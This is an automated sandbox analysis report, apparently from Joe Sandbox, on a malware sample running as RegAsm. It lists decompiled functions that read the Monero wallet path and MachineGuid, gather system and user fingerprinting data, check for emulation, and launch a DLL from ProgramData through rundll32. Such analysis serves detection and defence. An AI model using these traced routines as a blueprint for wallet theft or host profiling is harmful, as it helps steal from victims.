Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CharOpenQueryValue_memset
String ID: MachineGuid$SOFTWARE\Microsoft\Cryptography
API String ID: 2355623204-1211650757
Opcode ID: cfe955c007fe244cd9e40eb48522d09ab7bd534578616772fc971eb02966dfdb
Instruction ID: 7b55e620f76560f8441474d4d828533cec33cdf81e9bd4d8fbff30fbf98a8e32
Opcode Fuzzy Hash: cfe955c007fe244cd9e40eb48522d09ab7bd534578616772fc971eb02966dfdb
Instruction Fuzzy Hash: B81161B594031DAFDB10DF50DC89EEBB7BCEB14309F0000E6A619E2052D6759F888F10

Function 00401A51 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00401A65
HeapAlloc.KERNEL32(00000000), ref: 00401A6C
RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00401AE9), ref: 00401A89
RegQueryValueExA.ADVAPI32(00401AE9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401AA4

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00401A7F
wallet_path, xrefs: 00401A9C

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: SOFTWARE\monero-project\monero-core$wallet_path
API String ID: 3676486918-4244082812
Opcode ID: 4f2045b7203c4bd81c1c5592cd170f4ee3ab197098c58cfc6bfda79131d70d0f
Instruction ID: 6a723b0bf30ba4ddc589307fb52e6805e2d9d1b98ac7b5fca3d522df86ed7434
Opcode Fuzzy Hash: 4f2045b7203c4bd81c1c5592cd170f4ee3ab197098c58cfc6bfda79131d70d0f
Instruction Fuzzy Hash: 97F05475780304FFFF148B91DC0AFAE7A7DDB44B1AF2410A5F601F51D0E6B65A509A24

Function 00411757 Relevance: 9.1, APIs: 6, Instructions: 58commemoryCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0041175E
CoCreateInstance.OLE32(004331B0,00000000,00000001,0043AF58,?,00000018,00411901,?), ref: 00411781
SysAllocString.OLEAUT32(?), ref: 0041178E
_wtoi64.MSVCRT ref: 004117C1
SysFreeString.OLEAUT32(?), ref: 004117DA
SysFreeString.OLEAUT32(00000000), ref: 004117E1

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: String$Free$AllocCreateH_prolog3_catchInstance_wtoi64
String ID:
API String ID: 181426013-0
Opcode ID: ba825d6510256d8c6f00f1fb23df38d5c6cea4aa85adbbd132b5b9f946f2c1f7
Instruction ID: aa2e3685a72b09a3fb2dcb87204522bcdc6d732c81a7608aa5267b05385a158d
Opcode Fuzzy Hash: ba825d6510256d8c6f00f1fb23df38d5c6cea4aa85adbbd132b5b9f946f2c1f7
Instruction Fuzzy Hash: 59115E70A0424ADFCF019FA4DC999EEBBB6AF48300F54417EF215E72A1CB394945CB68

Function 004010F0 Relevance: 9.1, APIs: 6, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,001E5D70,00003000,00000004), ref: 004010AA
_memset.LIBCMT ref: 004010D0
VirtualFree.KERNEL32(00000000,001E5D70,00008000), ref: 004010E6
GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,00418495), ref: 00401100
VirtualAllocExNuma.KERNEL32(00000000), ref: 00401107
ExitProcess.KERNEL32 ref: 00401112

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Virtual$AllocProcess$CurrentExitFreeNuma_memset
String ID:
API String ID: 1859398019-0
Opcode ID: 0cd85bc549366c6980d605ad034fc7e5578819b96bc3e246f75ebc10e016ef94
Instruction ID: de48042f61174206f28540501a56dab48ed1071ae206a1b474cffe0304ee8063
Opcode Fuzzy Hash: 0cd85bc549366c6980d605ad034fc7e5578819b96bc3e246f75ebc10e016ef94
Instruction Fuzzy Hash: AEF0C27238122077F22426763C6EFAB1A6C9B42F56F205035F708FB2D1D669980496BC

Function 0041292B Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,004366FB,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

ShellExecuteEx.SHELL32(?), ref: 00412B4D

Strings

"" , xrefs: 004129FB
.dll, xrefs: 004129B6
C:\ProgramData\, xrefs: 0041295E
C:\Windows\system32\rundll32.exe, xrefs: 00412AAC

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: "" $.dll$C:\ProgramData\$C:\Windows\system32\rundll32.exe
API String ID: 2215929589-2108736111
Opcode ID: 6047c5b83342549980db005652ed89a7f88da1b6fb60af78e15224d582cbabee
Instruction ID: 9ae2cf2ae800b8bb33ad062817472c1473339d55641b58f4140958fd0a63e42d
Opcode Fuzzy Hash: 6047c5b83342549980db005652ed89a7f88da1b6fb60af78e15224d582cbabee
Instruction Fuzzy Hash: 7C71CD71E40119ABCF10FFA6DD466CDB7B5AF04308F51406BF510B71A1DBB86E8A8B98

Function 00411684 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004116CE

Part of subcall function 004123D5: malloc.MSVCRT ref: 004123DA
Part of subcall function 004123D5: strncpy.MSVCRT ref: 004123EB

lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
lstrcatA.KERNEL32(?,00436EC4,?,?,?,?,?), ref: 00411713
GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Strings

Unknown, xrefs: 0041173C

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$CurrentProfile_memsetlstrcpymallocstrncpy
String ID: Unknown
API String ID: 2781187439-1654365787
Opcode ID: 40940802265a4c3fb3d17f66f3aebd6262146aecc76f5541b5b5cbee53a0a034
Instruction ID: 38687d82805313cec56707417503c3a8b15a6b782f41cbda205fc1cb98a2a4ce
Opcode Fuzzy Hash: 40940802265a4c3fb3d17f66f3aebd6262146aecc76f5541b5b5cbee53a0a034
Instruction Fuzzy Hash: D7118671A00118ABCB21EB65DD86FDD73B8AB08304F4004A6B645F7191DAB8AFC88F58

Function 00411119 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,Keyboard Languages: ,00436908,Display Resolution: ,004368EC,00000000,User Name: ,004368DC,00000000,Computer Name: ,004368C8,AV: ,004368BC,Install Date: ), ref: 00411131
HeapAlloc.KERNEL32(00000000), ref: 00411138
GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 00411154
wsprintfA.USER32 ref: 0041117A

Strings

%d MB, xrefs: 00411174

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB
API String ID: 3644086013-2651807785
Opcode ID: 340342b6390d2646d15e4b4ae051aaa258ec2fff34d5e99288e24d8d28d8adba
Instruction ID: e7d6c9dceb0403f0db7cb32a278f6c02741a37abefeaae954b3d249c6c8c6462
Opcode Fuzzy Hash: 340342b6390d2646d15e4b4ae051aaa258ec2fff34d5e99288e24d8d28d8adba
Instruction Fuzzy Hash: 7C01A9B1B00218ABEB08DFB4DC45EEEB7B9EF04705F04006AF602D7290EA75DD818768

Function 00410B30 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 40memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413E5E,Windows: ,00436898), ref: 00410B44
HeapAlloc.KERNEL32(00000000,?,?,?,00413E5E,Windows: ,00436898), ref: 00410B4B
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436880,?,?,?,00413E5E,Windows: ,00436898), ref: 00410B79
RegQueryValueExA.KERNEL32(00436880,00000000,00000000,00000000,000000FF,?,?,?,00413E5E,Windows: ,00436898), ref: 00410B95

Strings

Windows 11, xrefs: 00410B5C

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: Windows 11
API String ID: 3676486918-2517555085
Opcode ID: 4545b6f9ea731a0c1759ce425353279a5d3fc895200c98c2723426e5a34f4371
Instruction ID: 1e6bebd888205e227a078e3b4776643881ee4e868955a6116475d087f2d36f09
Opcode Fuzzy Hash: 4545b6f9ea731a0c1759ce425353279a5d3fc895200c98c2723426e5a34f4371
Instruction Fuzzy Hash: 88F04475600304FBEF149B91DC4AFAB7A6AEB4470AF1410A5F60195190E7B6AA909714

Function 00410BA9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 36memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00410C1B,00410B58,?,?,?,00413E5E,Windows: ,00436898), ref: 00410BBD
HeapAlloc.KERNEL32(00000000,?,?,?,00410C1B,00410B58,?,?,?,00413E5E,Windows: ,00436898), ref: 00410BC4
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436880,?,?,?,00410C1B,00410B58,?,?,?,00413E5E,Windows: ,00436898), ref: 00410BE2
RegQueryValueExA.KERNEL32(00436880,CurrentBuildNumber,00000000,00000000,00000000,000000FF,?,?,?,00410C1B,00410B58,?,?,?,00413E5E,Windows: ), ref: 00410BFD

Strings

CurrentBuildNumber, xrefs: 00410BF5

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3676486918-1022791448
Opcode ID: 0ecaf1e48870f0423982b4fee7b384d053053088746a66fbbe4194decca64022
Instruction ID: ea1df8357be30d2e2ef1433f3f6dded84e3a9a7c3001953f4b75ef12d05b9866
Opcode Fuzzy Hash: 0ecaf1e48870f0423982b4fee7b384d053053088746a66fbbe4194decca64022
Instruction Fuzzy Hash: AAF09075640304FBEF159B90DC0AFAF7A7EEB4470AF240055F601A50A0E6B25A909B60

Function 0041BBEB Relevance: 7.6, APIs: 5, Instructions: 99fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,763374F0,?,0041CBB8,?,0041CC46,00000000,06400000,00000003,00000000,00417548,.exe,00436C54), ref: 0041BC38
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,763374F0,?,0041CBB8,?,0041CC46,00000000,06400000,00000003,00000000), ref: 0041BC70

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$CreatePointer
String ID:
API String ID: 2024441833-0
Opcode ID: c2a5f8e1d00489231e5594f9a747e25d59c8a13e659a0516d0e6ae57d101117a
Instruction ID: 2c4a5b632096eba48b9afdb5f28c6ccb884a723da07998bce4b3731b3edf96f9
Opcode Fuzzy Hash: c2a5f8e1d00489231e5594f9a747e25d59c8a13e659a0516d0e6ae57d101117a
Instruction Fuzzy Hash: 533167B0504B04AFDB344F25A8C4BA776E8E754358F108A3FF19786640E77898C49BD9

Function 00404AB6 Relevance: 7.6, APIs: 5, Instructions: 50stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID:
API String ID: 1274457161-0
Opcode ID: f25c82f9083139f9dc305e99f373a1749f43e790606f1cfdd691ee0f4a79a4b6
Instruction ID: f1c5382da97c9dd65e4db87c3c806c9c9b4e03b01775002e3606c6f6cd357758
Opcode Fuzzy Hash: f25c82f9083139f9dc305e99f373a1749f43e790606f1cfdd691ee0f4a79a4b6
Instruction Fuzzy Hash: E9011B72D00218ABDF149BA9DC45ADEBFB8AF55330F10821AF925F72E0DB745A058B94

Function 004083D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,0040DB0A), ref: 004083F2

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,0041713D,004366CF,004366CE,?,?,?,?,00418558), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,0041713D,004366CF,004366CE,?,?,?,?,00418558), ref: 00410581

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

SetEnvironmentVariableA.KERNEL32(?,0043718C,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,004367BF,?,?,?,?,?,?,?,?,0040DB0A), ref: 00408447
LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,0040DB0A), ref: 0040845B

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 004083E6, 004083EB, 00408405

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: 92cb3870f75b6ba644ebc7bc9013fe72411ca387304fe8484cf0489906a39471
Instruction ID: 0039211fd2448c0fac8a842e95ae9d76d322b7101a4597bf36c3d7dff0329066
